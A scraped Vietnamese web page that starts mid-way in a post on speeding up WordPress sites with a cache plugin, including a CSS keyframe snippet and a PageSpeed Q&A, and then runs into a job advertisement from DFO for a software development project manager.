@-o-keyframes fadeInRight {
0% {
opacity: 0;
-webkit-transform: translate3d(100%, 0, 0);
-ms-transform: translate3d(100%, 0, 0);
transform: translate3d(100%, 0, 0)
}
100% {
opacity: 1;
-webkit-transform: none;
-ms-transform: none;
transform: none
}
}

Việc tối ưu file css và js của website với wordpress chúng ta nên sử dụng plugins cache, với những gì kể trên thì plugins cache đó phải đảm bảo các tiêu chí sau :
+Có chức năng Preload
+Minify và nối file js,css
+Lazy Load ảnh và khung iframe
+Nhẹ nhàng
+Tạo cache riêng cho giao diện mobile (cực quan trọng)
+Tối ưu Database
+Disable Emojis
+Hỗ trợ CDN
Tuỳ vào mỗi người sẽ có cách chọn lựa khác nhau, với bản thân thì mình sử dụng Plugins WP Fastest Cache bản Premium để cache, nó chứa các ưu điểm trên và tương thích hầu hết các theme của WordPress.
***************************************************
Câu hỏi : Nếu tôi muốn đạt được 99/100 điểm PSI trên di động sử dụng wordpress, đơn giản nhất tôi sẽ làm gì ?
Trả lời : Bạn chỉ cần cài giao diện Astra phiên bản miễn phí, kết hợp plugins WP Fastest Cache bản Premium ,không sử dụng Page Buider để tuỳ biến trang chủ,dùng VPS tối thiểu 2GB ram, bật CDN từ Clouflare và phải sử dụng chứng SSL có phí, không lên được 99 điểm bán vốn mình ngay và luôn.
P/S : Không phải cứ PSI cao thì website nó tốt ,nó chẳng nói lên điều gì cả, chỉ cần website tải nhanh là được, người phán xét website của bạn suy cho cùng là người dùng, họ là người phán quyết cuối cùng chứ không phải PSI !

Có thể bạn quan tâm:

Bài viết được chia sẽ bởi bạn Trần Quang Nam

 

Cơ hội đổi mới tương lai tại DFO, nỗ lực vươn xa ra thế giới

Direct Focus Online DFO – một công ty agency toàn cầu, là đối tác cung cấp các chiến dịch digital marketing thành công và bùng nổ trên mạng Internet cho nhiều thương hiệu lớn. Với đội ngũ hàng trăm nhân viên trên toàn cầu, có trình độ và kiến thức chuyên sâu về marketing kết hợp cùng công nghệ, machine learning và AI – DFO đã từng bước khẳng định vị thế của mình và viết lên những câu chuyện thành công cho các khách hàng trên thế giới.

DFO – Thành công đã được chứng minh

Theo nhóm các chuyên gia Marketing và chuyên gia công nghệ có kiến thức chuyên sâu về hiệu suất thương mại toàn cầu, DFO đã xây dựng thành công các chiến dịch e-commerce hướng đến hiệu quả tối ưu. Thông qua những sản phẩm chất lượng cao, DFO nhận được nhiều sự đánh giá tốt và hài lòng của những khách hàng tên tuổi.

Tim Shea, Phó Chủ tịch Digital, Tommie Copper đã hết mực bày tỏ sự hài lòng về DFO: “DFO đã giúp chúng tôi phát triển đáng kể trong những năm qua. Họ vẫn liên tục bám sát công việc kinh doanh và tìm ra những cơ hội mới để điều chỉnh hiệu suất công việc theo đúng như những gì các agency mong muốn”.

Bryant Hussey, Phó chủ tịch, Marketing Online, Thương hiệu Atlantic Coast cũng đã đưa ra những đánh giá tuyệt vời cho những gì mà DFO đã mang lại cho  Atlantic Coast: “DFO là những đối tác marketing tuyệt vời của chúng tôi. Họ mang lại cho chúng tôi các kỹ năng chuyên môn cao liên quan đến những gì chúng tôi cần cho việc kinh doanh trong những ngày qua. Chúng tôi còn được hỗ trợ nhiệt tình từ in-house team của họ và nhận thấy được sự khéo léo và đầy trách nhiệm từ khách hàng. Tôi nghĩ rằng DFO là một điểm đến lý tưởng cho bất cứ ai muốn thành công”.

DFO mở cửa cơ hội, trao tấm vé thành công

Hiện diện trên toàn cầu, DFO hiện có văn phòng tại Canada, Hoa Kỳ, Hà Lan, Hồng Kông, Brazil và Philippines. Với việc mở thêm văn phòng mới ở Việt Nam, công ty DFO đang tập trung hướng vào sự đổi mới mạnh mẽ. DFO đang thành lập một đội ngũ gồm những lập trình viên tài năng và sáng tạo, có chuyên môn cao trong lĩnh vực xây dựng chương trình phần mềm với khả năng thay đổi diện mạo của thương mại điện tử tại Việt Nam trong tương lai.

Hơn hết nữa, DFO còn đang trao cơ hội đặc biệt đến những nhân tố tài năng muốn trở thành Software Development Project Manager. Vị trí này được DFO ưu ái trao MỨC LƯƠNG KHỞI ĐIỂM TỪ $2,500, bên cạnh đó đi cùng chuỗi đãi ngộ:

  • Offer cạnh tranh: From $2,500;
  • Lương tháng 13 hấp dẫn vào hàng năm;
  • Nhận trợ cấp giáo dục sau 1 năm làm việc;
  • Chế độ chăm sóc sức khỏe và nha khoa định kỳ;
  • Làm việc với đội ngũ năng động, vui nhộn, đa dạng, đa quốc gia;
  • Tiếp cận, học hỏi với các công nghệ hiện đại và mới nhất;
  • Cơ hội đào tạo toàn cầu và có các chuyến đi đến Hoa Kỳ, Canada, Châu Âu và các khu vực của châu Á.

Gia nhập DFO, thành viên mới sẽ được làm việc tại môi trường quốc tế chuyên nghiệp, mọi đề xuất hay ý kiến luôn được coi trọng và đánh giá cao. Đây là một điều kiện rất tốt để khuyến khích các cá nhân tại DFO thoải mái phát triển, trao quyền bứt phá để vươn tới những thành công trong tương lai.

Bạn đã sẵn sàng nắm giữ cơ hội?

Apply ngay vị trí Software Development Project Manager nhanh thôi

Mô tả công việc:

  • Ghi lại tất cả requirement của dự án;
  • Lên kế hoạch phân công nhân sự cho dự án;
  • Làm việc với các lập trình viên;
  • Lập kế hoạch dự án chi tiết để theo dõi tiến độ;
  • Đảm bảo tính khả dụng và sự phân bổ nguồn lực;
  • Hỗ trợ công tác tuyển dụng nhân viên mới;
  • Cộng tác với những đơn vị kinh doanh liên quan bao gồm marketing;
  • Phân công rõ nhiệm vụ các task và các quyết định trong công việc,

Yêu cầu:

  • Nghiên cứu về lĩnh vực khoa học máy tính hoặc quản lý dự án;
  • Có kinh nghiệm về thương mại điện tử hoặc nghiệp vụ kinh doanh ngân hàng là một lợi thế;
  • Giấy chứng nhận PMP / SCRUM là một lợi thế;
  • Có kinh nghiệm trong quản lý phát triển phần mềm;
  • Có kiến thức về phương pháp quản lý Agile và từng có kinh nghiệm trong việc đưa quy trình quản lí phát triển phần mềm vào phù hợp;
  • Khả năng phân tích và ghi lại các tính năng requirement chi tiết của phần mềm;
  • Khả năng ước tính thời gian hoàn thành cho một phần mềm mới;
  • Theo dõi chi tiết, cam kết kiểm tra và đánh giá chất lượng;
  • Kỹ năng diễn giải bằng văn bản và kỹ năng giao tiếp tốt.

Khám phá các vị trí tuyển it từ DFO hấp dẫn khác tại đây: chi tiết